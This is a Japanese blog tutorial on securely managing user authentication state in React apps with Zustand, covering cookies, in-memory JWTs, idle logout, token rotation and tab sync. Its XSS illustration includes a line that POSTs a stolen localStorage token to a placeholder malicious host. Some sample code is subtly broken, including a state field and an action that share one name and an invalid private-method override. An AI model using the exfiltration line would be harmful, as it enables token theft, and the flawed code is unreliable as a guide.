T-CREATOR

Zustand でユーザー認証情報を安全に管理する設計パターン

Zustand でユーザー認証情報を安全に管理する設計パターン

現代の Web アプリケーションにおいて、ユーザー認証情報の安全な管理は最も重要なセキュリティ要件の一つです。特に SPA(Single Page Application)や PWA では、クライアントサイドでの状態管理が複雑になりがちで、セキュリティホールが生まれやすい環境となっています。

Zustand は軽量でシンプルな状態管理ライブラリですが、その柔軟性を活かして堅牢な認証システムを構築することができます。本記事では、実際の開発現場で遭遇するセキュリティ課題と、それに対する Zustand を使った実践的な解決策をご紹介します。

背景

現代の Web アプリケーションにおける認証セキュリティの課題

現代の Web アプリケーションは、従来のサーバーサイドレンダリングから、React、Vue.js、Angular などを使ったクライアントサイドレンダリングへと移行しています。この変化により、新たなセキュリティ課題が浮上しています。

従来のセッションベース認証では、サーバー側でセッション情報を管理し、クライアントには最小限の情報(セッション ID)のみを保持させていました。しかし、SPA では API 通信が主体となり、JWT トークンなどの認証情報をクライアントサイドで管理する必要が生じています。

#従来の課題現代の課題
1サーバー負荷の増大クライアントサイドでの機密情報露出
2スケーラビリティの制限XSS 攻撃による情報漏洩
3セッション管理の複雑性CSRF 攻撃への脆弱性
4状態の一貫性保持複数タブ間での状態同期

クライアントサイドでの認証情報管理リスク

クライアントサイドでの認証情報管理には、以下のようなリスクが存在します。

JavaScript からのアクセス可能性

javascript// ❌ 危険:グローバルスコープでの認証情報保存
window.authToken =
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...';

// ❌ 危険:localStorageへの平文保存
localStorage.setItem(
  'token',
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
);

開発者ツールからの情報漏洩

javascript// ❌ 危険:Reduxのような透明性の高い状態管理での機密情報保存
const initialState = {
  user: {
    token: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...',
    refreshToken: 'rt_1234567890abcdef...',
  },
};

これらのリスクを回避するために、適切な設計パターンと実装手法が必要となります。

課題

トークンの適切な保存場所とライフサイクル管理

認証トークンの保存場所は、セキュリティと利便性のトレードオフを考慮して決定する必要があります。

保存場所の比較

#保存場所セキュリティ利便性主な用途
1httpOnly Cookieセッション管理
2Secure Cookie長期認証
3localStorage開発・テスト環境
4sessionStorage一時的な認証
5メモリ(変数)短期間の認証

トークンライフサイクルの課題

javascript// ❌ 問題のあるトークン管理
const useAuthStore = create((set) => ({
  token: localStorage.getItem('token'), // 初期化時に直接取得
  login: (credentials) => {
    // トークンの有効期限チェックなし
    const token = await authenticate(credentials);
    localStorage.setItem('token', token);
    set({ token });
  }
}));

XSS 攻撃や CSRF 攻撃への対策

XSS(Cross-Site Scripting)攻撃

XSS 攻撃では、悪意のあるスクリプトが Web ページに挿入され、認証情報が盗取される可能性があります。

javascript// ❌ XSS攻撃の例
// 悪意のあるスクリプトがlocalStorageからトークンを盗取
const stolenToken = localStorage.getItem('authToken');
fetch('https://malicious-site.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken }),
});

CSRF(Cross-Site Request Forgery)攻撃

CSRF 攻撃では、ユーザーが意図しない操作が実行される可能性があります。

javascript// ❌ CSRF攻撃に脆弱な実装
const apiCall = (endpoint, data) => {
  return fetch(endpoint, {
    method: 'POST',
    headers: {
      Authorization: `Bearer ${getToken()}`, // CSRFトークンなし
    },
    body: JSON.stringify(data),
  });
};

認証情報の意図しない露出防止

開発中やデバッグ時に、認証情報が意図せず露出するケースがあります。

javascript// ❌ デバッグ情報での認証情報露出
const useAuthStore = create((set, get) => ({
  user: null,
  token: null,
  login: async (credentials) => {
    try {
      const response = await authenticate(credentials);
      console.log('Login response:', response); // ❌ トークンがコンソールに出力
      set({ user: response.user, token: response.token });
    } catch (error) {
      console.error('Login failed:', error);
    }
  },
}));

解決策

httpOnly Cookie を使用した安全な実装

typescriptinterface AuthState {
  user: User | null;
  isAuthenticated: boolean;
  isLoading: boolean;
  error: string | null;
}

interface AuthActions {
  login: (credentials: LoginCredentials) => Promise<void>;
  logout: () => Promise<void>;
  refreshAuth: () => Promise<void>;
  clearError: () => void;
}

type AuthStore = AuthState & AuthActions;

const useAuthStore = create<AuthStore>((set, get) => ({
  // 状態の初期値
  user: null,
  isAuthenticated: false,
  isLoading: false,
  error: null,

  // ログイン処理(トークンはhttpOnly Cookieで管理)
  login: async (credentials) => {
    set({ isLoading: true, error: null });

    try {
      const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        credentials: 'include', // Cookieを含める
        body: JSON.stringify(credentials),
      });

      if (!response.ok) {
        throw new Error('Authentication failed');
      }

      const userData = await response.json();

      set({
        user: userData.user,
        isAuthenticated: true,
        isLoading: false,
      });
    } catch (error) {
      set({
        error:
          error instanceof Error
            ? error.message
            : 'Login failed',
        isLoading: false,
      });
    }
  },

  // ログアウト処理
  logout: async () => {
    try {
      await fetch('/api/auth/logout', {
        method: 'POST',
        credentials: 'include',
      });
    } catch (error) {
      console.error('Logout request failed:', error);
    } finally {
      set({
        user: null,
        isAuthenticated: false,
        error: null,
      });
    }
  },

  // 認証状態の更新
  refreshAuth: async () => {
    try {
      const response = await fetch('/api/auth/me', {
        credentials: 'include',
      });

      if (response.ok) {
        const userData = await response.json();
        set({
          user: userData.user,
          isAuthenticated: true,
        });
      } else {
        set({
          user: null,
          isAuthenticated: false,
        });
      }
    } catch (error) {
      set({
        user: null,
        isAuthenticated: false,
      });
    }
  },

  clearError: () => set({ error: null }),
}));

API クライアントの実装

typescript// APIクライアントでの認証処理
class AuthenticatedApiClient {
  private baseURL: string;

  constructor(baseURL: string) {
    this.baseURL = baseURL;
  }

  private async request<T>(
    endpoint: string,
    options: RequestInit = {}
  ): Promise<T> {
    const url = `${this.baseURL}${endpoint}`;

    const response = await fetch(url, {
      ...options,
      credentials: 'include', // httpOnly Cookieを自動送信
      headers: {
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest', // CSRF対策
        ...options.headers,
      },
    });

    if (response.status === 401) {
      // 認証エラーの場合、ストアの状態を更新
      useAuthStore.getState().logout();
      throw new Error('Unauthorized');
    }

    if (!response.ok) {
      throw new Error(
        `HTTP error! status: ${response.status}`
      );
    }

    return response.json();
  }

  async get<T>(endpoint: string): Promise<T> {
    return this.request<T>(endpoint, { method: 'GET' });
  }

  async post<T>(
    endpoint: string,
    data: unknown
  ): Promise<T> {
    return this.request<T>(endpoint, {
      method: 'POST',
      body: JSON.stringify(data),
    });
  }
}

export const apiClient = new AuthenticatedApiClient('/api');

認証情報の暗号化とマスキング手法

機密情報のマスキング実装

typescript// 機密情報をマスキングするユーティリティ
const maskSensitiveData = (data: any): any => {
  if (typeof data !== 'object' || data === null) {
    return data;
  }

  const sensitiveKeys = [
    'token',
    'password',
    'secret',
    'key',
    'auth',
  ];
  const masked = { ...data };

  Object.keys(masked).forEach((key) => {
    if (
      sensitiveKeys.some((sensitiveKey) =>
        key.toLowerCase().includes(sensitiveKey)
      )
    ) {
      if (
        typeof masked[key] === 'string' &&
        masked[key].length > 4
      ) {
        masked[key] = `${masked[key].substring(0, 4)}****`;
      } else {
        masked[key] = '****';
      }
    } else if (typeof masked[key] === 'object') {
      masked[key] = maskSensitiveData(masked[key]);
    }
  });

  return masked;
};

// デバッグ用のログ出力(本番環境では無効化)
const debugLog = (message: string, data?: any) => {
  if (process.env.NODE_ENV === 'development') {
    console.log(
      message,
      data ? maskSensitiveData(data) : ''
    );
  }
};

開発環境での安全なデバッグ

typescriptconst useAuthStore = create<AuthStore>()(
  devtools(
    (set, get) => ({
      user: null,
      isAuthenticated: false,
      isLoading: false,
      error: null,

      login: async (credentials) => {
        debugLog('Login attempt started');
        set({ isLoading: true, error: null });

        try {
          const response = await apiClient.post(
            '/auth/login',
            credentials
          );
          debugLog('Login successful', {
            user: response.user,
          });

          set({
            user: response.user,
            isAuthenticated: true,
            isLoading: false,
          });
        } catch (error) {
          debugLog('Login failed', {
            error: error.message,
          });
          set({
            error:
              error instanceof Error
                ? error.message
                : 'Login failed',
            isLoading: false,
          });
        }
      },

      // その他のアクション...
    }),
    {
      name: 'auth-store',
      // 本番環境ではdevtoolsを無効化
      enabled: process.env.NODE_ENV === 'development',
    }
  )
);

自動ログアウト機能の実装

アイドルタイムアウトによる自動ログアウト

typescriptinterface IdleTimeoutConfig {
  timeoutMinutes: number;
  warningMinutes: number;
}

const createIdleTimeoutMiddleware = (
  config: IdleTimeoutConfig
) => {
  let timeoutId: NodeJS.Timeout | null = null;
  let warningTimeoutId: NodeJS.Timeout | null = null;
  let lastActivity = Date.now();

  const resetTimer = () => {
    lastActivity = Date.now();

    if (timeoutId) clearTimeout(timeoutId);
    if (warningTimeoutId) clearTimeout(warningTimeoutId);

    // 警告タイマー設定
    warningTimeoutId = setTimeout(() => {
      const store = useAuthStore.getState();
      if (store.isAuthenticated) {
        store.showIdleWarning();
      }
    }, (config.timeoutMinutes - config.warningMinutes) * 60 * 1000);

    // ログアウトタイマー設定
    timeoutId = setTimeout(() => {
      const store = useAuthStore.getState();
      if (store.isAuthenticated) {
        store.logout();
      }
    }, config.timeoutMinutes * 60 * 1000);
  };

  // ユーザーアクティビティの監視
  const activityEvents = [
    'mousedown',
    'mousemove',
    'keypress',
    'scroll',
    'touchstart',
  ];

  const handleActivity = () => {
    resetTimer();
  };

  const startMonitoring = () => {
    activityEvents.forEach((event) => {
      document.addEventListener(
        event,
        handleActivity,
        true
      );
    });
    resetTimer();
  };

  const stopMonitoring = () => {
    activityEvents.forEach((event) => {
      document.removeEventListener(
        event,
        handleActivity,
        true
      );
    });

    if (timeoutId) clearTimeout(timeoutId);
    if (warningTimeoutId) clearTimeout(warningTimeoutId);
  };

  return { startMonitoring, stopMonitoring, resetTimer };
};

// 拡張されたAuthStore
interface ExtendedAuthState extends AuthState {
  showIdleWarning: boolean;
}

interface ExtendedAuthActions extends AuthActions {
  showIdleWarning: () => void;
  dismissIdleWarning: () => void;
  extendSession: () => void;
}

type ExtendedAuthStore = ExtendedAuthState &
  ExtendedAuthActions;

const idleTimeout = createIdleTimeoutMiddleware({
  timeoutMinutes: 30,
  warningMinutes: 5,
});

const useAuthStore = create<ExtendedAuthStore>(
  (set, get) => ({
    user: null,
    isAuthenticated: false,
    isLoading: false,
    error: null,
    showIdleWarning: false,

    login: async (credentials) => {
      set({ isLoading: true, error: null });

      try {
        const response = await apiClient.post(
          '/auth/login',
          credentials
        );

        set({
          user: response.user,
          isAuthenticated: true,
          isLoading: false,
        });

        // ログイン成功時にアイドル監視開始
        idleTimeout.startMonitoring();
      } catch (error) {
        set({
          error:
            error instanceof Error
              ? error.message
              : 'Login failed',
          isLoading: false,
        });
      }
    },

    logout: async () => {
      try {
        await apiClient.post('/auth/logout', {});
      } catch (error) {
        console.error('Logout request failed:', error);
      } finally {
        // ログアウト時にアイドル監視停止
        idleTimeout.stopMonitoring();

        set({
          user: null,
          isAuthenticated: false,
          error: null,
          showIdleWarning: false,
        });
      }
    },

    showIdleWarning: () => {
      set({ showIdleWarning: true });
    },

    dismissIdleWarning: () => {
      set({ showIdleWarning: false });
    },

    extendSession: async () => {
      try {
        await apiClient.post('/auth/extend-session', {});
        idleTimeout.resetTimer();
        set({ showIdleWarning: false });
      } catch (error) {
        console.error('Session extension failed:', error);
        get().logout();
      }
    },

    // その他のアクション...
  })
);

具体例

JWT トークンの安全な管理実装

JWT トークンを使用する場合の安全な実装

typescript// JWT関連のユーティリティ
interface JWTPayload {
  sub: string;
  exp: number;
  iat: number;
  roles: string[];
}

const parseJWT = (token: string): JWTPayload | null => {
  try {
    const base64Url = token.split('.')[1];
    const base64 = base64Url
      .replace(/-/g, '+')
      .replace(/_/g, '/');
    const jsonPayload = decodeURIComponent(
      atob(base64)
        .split('')
        .map(
          (c) =>
            '%' +
            ('00' + c.charCodeAt(0).toString(16)).slice(-2)
        )
        .join('')
    );
    return JSON.parse(jsonPayload);
  } catch (error) {
    console.error('JWT parsing failed:', error);
    return null;
  }
};

const isTokenExpired = (token: string): boolean => {
  const payload = parseJWT(token);
  if (!payload) return true;

  return Date.now() >= payload.exp * 1000;
};

// メモリ内でのトークン管理
class TokenManager {
  private accessToken: string | null = null;
  private refreshToken: string | null = null;

  setTokens(access: string, refresh: string) {
    this.accessToken = access;
    this.refreshToken = refresh;
  }

  getAccessToken(): string | null {
    if (
      this.accessToken &&
      isTokenExpired(this.accessToken)
    ) {
      this.clearTokens();
      return null;
    }
    return this.accessToken;
  }

  getRefreshToken(): string | null {
    return this.refreshToken;
  }

  clearTokens() {
    this.accessToken = null;
    this.refreshToken = null;
  }

  isAuthenticated(): boolean {
    return this.getAccessToken() !== null;
  }
}

const tokenManager = new TokenManager();

// JWT対応のAuthStore
const useJWTAuthStore = create<AuthStore>((set, get) => ({
  user: null,
  isAuthenticated: false,
  isLoading: false,
  error: null,

  login: async (credentials) => {
    set({ isLoading: true, error: null });

    try {
      const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(credentials),
      });

      if (!response.ok) {
        throw new Error('Authentication failed');
      }

      const data = await response.json();

      // トークンをメモリ内に安全に保存
      tokenManager.setTokens(
        data.accessToken,
        data.refreshToken
      );

      const payload = parseJWT(data.accessToken);
      if (!payload) {
        throw new Error('Invalid token format');
      }

      set({
        user: {
          id: payload.sub,
          roles: payload.roles,
        },
        isAuthenticated: true,
        isLoading: false,
      });
    } catch (error) {
      set({
        error:
          error instanceof Error
            ? error.message
            : 'Login failed',
        isLoading: false,
      });
    }
  },

  logout: async () => {
    const refreshToken = tokenManager.getRefreshToken();

    if (refreshToken) {
      try {
        await fetch('/api/auth/logout', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
            Authorization: `Bearer ${refreshToken}`,
          },
        });
      } catch (error) {
        console.error('Logout request failed:', error);
      }
    }

    tokenManager.clearTokens();
    set({
      user: null,
      isAuthenticated: false,
      error: null,
    });
  },

  refreshAuth: async () => {
    const refreshToken = tokenManager.getRefreshToken();

    if (!refreshToken) {
      get().logout();
      return;
    }

    try {
      const response = await fetch('/api/auth/refresh', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          Authorization: `Bearer ${refreshToken}`,
        },
      });

      if (!response.ok) {
        throw new Error('Token refresh failed');
      }

      const data = await response.json();
      tokenManager.setTokens(
        data.accessToken,
        data.refreshToken
      );

      const payload = parseJWT(data.accessToken);
      if (payload) {
        set({
          user: {
            id: payload.sub,
            roles: payload.roles,
          },
          isAuthenticated: true,
        });
      }
    } catch (error) {
      console.error('Token refresh failed:', error);
      get().logout();
    }
  },

  clearError: () => set({ error: null }),
}));

// 認証が必要なAPIリクエスト用のクライアント
class JWTApiClient {
  private baseURL: string;

  constructor(baseURL: string) {
    this.baseURL = baseURL;
  }

  private async request<T>(
    endpoint: string,
    options: RequestInit = {}
  ): Promise<T> {
    const token = tokenManager.getAccessToken();

    if (!token) {
      useJWTAuthStore.getState().logout();
      throw new Error('No valid token available');
    }

    const url = `${this.baseURL}${endpoint}`;

    const response = await fetch(url, {
      ...options,
      headers: {
        'Content-Type': 'application/json',
        Authorization: `Bearer ${token}`,
        ...options.headers,
      },
    });

    if (response.status === 401) {
      // トークンが無効な場合、リフレッシュを試行
      await useJWTAuthStore.getState().refreshAuth();

      // リフレッシュ後に再試行
      const newToken = tokenManager.getAccessToken();
      if (newToken) {
        return this.request<T>(endpoint, options);
      } else {
        throw new Error('Authentication required');
      }
    }

    if (!response.ok) {
      throw new Error(
        `HTTP error! status: ${response.status}`
      );
    }

    return response.json();
  }

  async get<T>(endpoint: string): Promise<T> {
    return this.request<T>(endpoint, { method: 'GET' });
  }

  async post<T>(
    endpoint: string,
    data: unknown
  ): Promise<T> {
    return this.request<T>(endpoint, {
      method: 'POST',
      body: JSON.stringify(data),
    });
  }
}

export const jwtApiClient = new JWTApiClient('/api');

リフレッシュトークンローテーション

セキュアなリフレッシュトークンローテーション実装

typescriptinterface TokenRotationConfig {
  maxRetries: number;
  retryDelay: number;
  refreshThreshold: number; // トークン有効期限の何分前にリフレッシュするか
}

class SecureTokenManager extends TokenManager {
  private config: TokenRotationConfig;
  private refreshPromise: Promise<boolean> | null = null;

  constructor(config: TokenRotationConfig) {
    super();
    this.config = config;
  }

  // トークンが間もなく期限切れかチェック
  private shouldRefreshToken(token: string): boolean {
    const payload = parseJWT(token);
    if (!payload) return true;

    const now = Date.now() / 1000;
    const timeUntilExpiry = payload.exp - now;

    return (
      timeUntilExpiry < this.config.refreshThreshold * 60
    );
  }

  // 重複するリフレッシュリクエストを防ぐ
  async ensureValidToken(): Promise<string | null> {
    const currentToken = this.getAccessToken();

    if (!currentToken) {
      return null;
    }

    if (!this.shouldRefreshToken(currentToken)) {
      return currentToken;
    }

    // 既にリフレッシュ中の場合は、その結果を待つ
    if (this.refreshPromise) {
      const success = await this.refreshPromise;
      return success ? this.getAccessToken() : null;
    }

    // 新しいリフレッシュを開始
    this.refreshPromise = this.performTokenRefresh();
    const success = await this.refreshPromise;
    this.refreshPromise = null;

    return success ? this.getAccessToken() : null;
  }

  private async performTokenRefresh(): Promise<boolean> {
    const refreshToken = this.getRefreshToken();
    if (!refreshToken) {
      return false;
    }

    let lastError: Error | null = null;

    for (
      let attempt = 0;
      attempt < this.config.maxRetries;
      attempt++
    ) {
      try {
        const response = await fetch('/api/auth/refresh', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
            Authorization: `Bearer ${refreshToken}`,
          },
        });

        if (!response.ok) {
          if (
            response.status === 401 ||
            response.status === 403
          ) {
            // リフレッシュトークンが無効な場合、ログアウト
            this.clearTokens();
            useJWTAuthStore.getState().logout();
            return false;
          }
          throw new Error(
            `Refresh failed: ${response.status}`
          );
        }

        const data = await response.json();

        // 新しいトークンペアを設定
        this.setTokens(data.accessToken, data.refreshToken);

        // ユーザー情報を更新
        const payload = parseJWT(data.accessToken);
        if (payload) {
          useJWTAuthStore.setState({
            user: {
              id: payload.sub,
              roles: payload.roles,
            },
            isAuthenticated: true,
          });
        }

        return true;
      } catch (error) {
        lastError =
          error instanceof Error
            ? error
            : new Error('Unknown error');

        if (attempt < this.config.maxRetries - 1) {
          // 指数バックオフで再試行
          const delay =
            this.config.retryDelay * Math.pow(2, attempt);
          await new Promise((resolve) =>
            setTimeout(resolve, delay)
          );
        }
      }
    }

    console.error(
      'Token refresh failed after all retries:',
      lastError
    );
    this.clearTokens();
    useJWTAuthStore.getState().logout();
    return false;
  }
}

const secureTokenManager = new SecureTokenManager({
  maxRetries: 3,
  retryDelay: 1000,
  refreshThreshold: 5, // 5分前にリフレッシュ
});

// 改良されたAPIクライアント
class SecureJWTApiClient extends JWTApiClient {
  private async request<T>(
    endpoint: string,
    options: RequestInit = {}
  ): Promise<T> {
    // 有効なトークンを確保
    const token =
      await secureTokenManager.ensureValidToken();

    if (!token) {
      throw new Error('Authentication required');
    }

    const url = `${this.baseURL}${endpoint}`;

    const response = await fetch(url, {
      ...options,
      headers: {
        'Content-Type': 'application/json',
        Authorization: `Bearer ${token}`,
        ...options.headers,
      },
    });

    if (response.status === 401) {
      // 予期しない認証エラーの場合
      secureTokenManager.clearTokens();
      useJWTAuthStore.getState().logout();
      throw new Error('Authentication failed');
    }

    if (!response.ok) {
      throw new Error(
        `HTTP error! status: ${response.status}`
      );
    }

    return response.json();
  }
}

export const secureApiClient = new SecureJWTApiClient(
  '/api'
);

セッションタイムアウト管理

複数タブ間での同期されたセッション管理

typescript// BroadcastChannelを使用したタブ間通信
class SessionSyncManager {
  private channel: BroadcastChannel;
  private storageKey = 'auth_session_sync';

  constructor() {
    this.channel = new BroadcastChannel('auth_session');
    this.setupEventListeners();
  }

  private setupEventListeners() {
    // 他のタブからのメッセージを受信
    this.channel.addEventListener('message', (event) => {
      const { type, data } = event.data;

      switch (type) {
        case 'SESSION_UPDATED':
          this.handleSessionUpdate(data);
          break;
        case 'SESSION_EXPIRED':
          this.handleSessionExpired();
          break;
        case 'USER_ACTIVITY':
          this.handleUserActivity();
          break;
      }
    });

    // ストレージイベントの監視(異なるオリジンからの変更)
    window.addEventListener('storage', (event) => {
      if (
        event.key === this.storageKey &&
        event.newValue === 'expired'
      ) {
        this.handleSessionExpired();
      }
    });

    // ページがアクティブになった時の処理
    document.addEventListener('visibilitychange', () => {
      if (!document.hidden) {
        this.syncSessionState();
      }
    });
  }

  // セッション状態の同期
  private async syncSessionState() {
    const authStore = useJWTAuthStore.getState();

    if (authStore.isAuthenticated) {
      try {
        await authStore.refreshAuth();
      } catch (error) {
        console.error('Session sync failed:', error);
      }
    }
  }

  // セッション更新の通知
  broadcastSessionUpdate(sessionData: any) {
    this.channel.postMessage({
      type: 'SESSION_UPDATED',
      data: sessionData,
    });
  }

  // セッション期限切れの通知
  broadcastSessionExpired() {
    this.channel.postMessage({
      type: 'SESSION_EXPIRED',
    });

    // ローカルストレージにも記録
    localStorage.setItem(this.storageKey, 'expired');
    setTimeout(() => {
      localStorage.removeItem(this.storageKey);
    }, 1000);
  }

  // ユーザーアクティビティの通知
  broadcastUserActivity() {
    this.channel.postMessage({
      type: 'USER_ACTIVITY',
    });
  }

  private handleSessionUpdate(data: any) {
    const authStore = useJWTAuthStore.getState();

    if (data.user && !authStore.isAuthenticated) {
      // 他のタブでログインした場合
      authStore.setState({
        user: data.user,
        isAuthenticated: true,
      });
    }
  }

  private handleSessionExpired() {
    const authStore = useJWTAuthStore.getState();

    if (authStore.isAuthenticated) {
      authStore.logout();
    }
  }

  private handleUserActivity() {
    // 他のタブでのユーザーアクティビティを受信
    idleTimeout.resetTimer();
  }

  cleanup() {
    this.channel.close();
  }
}

const sessionSync = new SessionSyncManager();

// セッション管理機能付きのAuthStore
const useSessionManagedAuthStore =
  create<ExtendedAuthStore>((set, get) => ({
    user: null,
    isAuthenticated: false,
    isLoading: false,
    error: null,
    showIdleWarning: false,

    login: async (credentials) => {
      set({ isLoading: true, error: null });

      try {
        const response = await fetch('/api/auth/login', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(credentials),
        });

        if (!response.ok) {
          throw new Error('Authentication failed');
        }

        const data = await response.json();
        secureTokenManager.setTokens(
          data.accessToken,
          data.refreshToken
        );

        const payload = parseJWT(data.accessToken);
        if (!payload) {
          throw new Error('Invalid token format');
        }

        const user = {
          id: payload.sub,
          roles: payload.roles,
        };

        set({
          user,
          isAuthenticated: true,
          isLoading: false,
        });

        // セッション更新を他のタブに通知
        sessionSync.broadcastSessionUpdate({ user });

        // アイドル監視開始
        idleTimeout.startMonitoring();
      } catch (error) {
        set({
          error:
            error instanceof Error
              ? error.message
              : 'Login failed',
          isLoading: false,
        });
      }
    },

    logout: async () => {
      const refreshToken =
        secureTokenManager.getRefreshToken();

      if (refreshToken) {
        try {
          await fetch('/api/auth/logout', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json',
              Authorization: `Bearer ${refreshToken}`,
            },
          });
        } catch (error) {
          console.error('Logout request failed:', error);
        }
      }

      secureTokenManager.clearTokens();
      idleTimeout.stopMonitoring();

      set({
        user: null,
        isAuthenticated: false,
        error: null,
        showIdleWarning: false,
      });

      // セッション期限切れを他のタブに通知
      sessionSync.broadcastSessionExpired();
    },

    showIdleWarning: () => {
      set({ showIdleWarning: true });
    },

    dismissIdleWarning: () => {
      set({ showIdleWarning: false });
    },

    extendSession: async () => {
      try {
        const token =
          await secureTokenManager.ensureValidToken();
        if (token) {
          idleTimeout.resetTimer();
          set({ showIdleWarning: false });

          // セッション延長を他のタブに通知
          sessionSync.broadcastUserActivity();
        } else {
          throw new Error('Token refresh failed');
        }
      } catch (error) {
        console.error('Session extension failed:', error);
        get().logout();
      }
    },

    refreshAuth: async () => {
      try {
        const token =
          await secureTokenManager.ensureValidToken();
        if (!token) {
          get().logout();
        }
      } catch (error) {
        console.error('Auth refresh failed:', error);
        get().logout();
      }
    },

    clearError: () => set({ error: null }),
  }));

// アプリケーション初期化時の処理
export const initializeAuth = () => {
  const authStore = useSessionManagedAuthStore.getState();

  // ページロード時にセッション状態を確認
  authStore.refreshAuth();

  // クリーンアップ関数を返す
  return () => {
    sessionSync.cleanup();
    idleTimeout.stopMonitoring();
  };
};

React コンポーネントでの使用例

typescript// アイドル警告コンポーネント
const IdleWarningModal: React.FC = () => {
  const { showIdleWarning, extendSession, logout } =
    useSessionManagedAuthStore();

  if (!showIdleWarning) return null;

  return (
    <div className='fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50'>
      <div className='bg-white p-6 rounded-lg shadow-lg max-w-md w-full mx-4'>
        <h2 className='text-xl font-bold mb-4'>
          セッションタイムアウト警告
        </h2>
        <p className='mb-6'>
          セッションがまもなくタイムアウトします。
          継続する場合は「セッション延長」をクリックしてください。
        </p>
        <div className='flex gap-4'>
          <button
            onClick={extendSession}
            className='flex-1 bg-blue-500 text-white px-4 py-2 rounded hover:bg-blue-600'
          >
            セッション延長
          </button>
          <button
            onClick={logout}
            className='flex-1 bg-gray-500 text-white px-4 py-2 rounded hover:bg-gray-600'
          >
            ログアウト
          </button>
        </div>
      </div>
    </div>
  );
};

// 認証が必要なページのラッパーコンポーネント
const AuthenticatedRoute: React.FC<{
  children: React.ReactNode;
}> = ({ children }) => {
  const { isAuthenticated, isLoading } =
    useSessionManagedAuthStore();

  if (isLoading) {
    return <div>認証状態を確認中...</div>;
  }

  if (!isAuthenticated) {
    return <Navigate to='/login' replace />;
  }

  return (
    <>
      {children}
      <IdleWarningModal />
    </>
  );
};

// アプリケーションのルートコンポーネント
const App: React.FC = () => {
  useEffect(() => {
    const cleanup = initializeAuth();
    return cleanup;
  }, []);

  return (
    <Router>
      <Routes>
        <Route path='/login' element={<LoginPage />} />
        <Route
          path='/dashboard'
          element={
            <AuthenticatedRoute>
              <Dashboard />
            </AuthenticatedRoute>
          }
        />
        {/* その他のルート */}
      </Routes>
    </Router>
  );
};

まとめ

本記事では、Zustand を使用してユーザー認証情報を安全に管理するための包括的な設計パターンをご紹介しました。

主要なポイント

  1. セキュアな保存戦略: httpOnly Cookie の活用により、XSS 攻撃からの保護を実現
  2. トークン管理: メモリ内での一時保存と適切なライフサイクル管理
  3. 自動セキュリティ機能: アイドルタイムアウトと自動ログアウトの実装
  4. リフレッシュ戦略: セキュアなトークンローテーションによる長期セッション管理
  5. タブ間同期: BroadcastChannel を使用した一貫性のあるセッション管理

これらの実装により、現代の Web アプリケーションで求められるセキュリティ要件を満たしながら、優れたユーザーエクスペリエンスを提供できます。

実装時の注意点

  • 本番環境では必ず HTTPS 通信を使用する
  • 認証情報のログ出力を避ける
  • 定期的なセキュリティ監査を実施する
  • CSRF トークンの実装を検討する

Zustand の柔軟性を活かして、プロジェクトの要件に応じてこれらのパターンをカスタマイズしてご活用ください。

関連リンク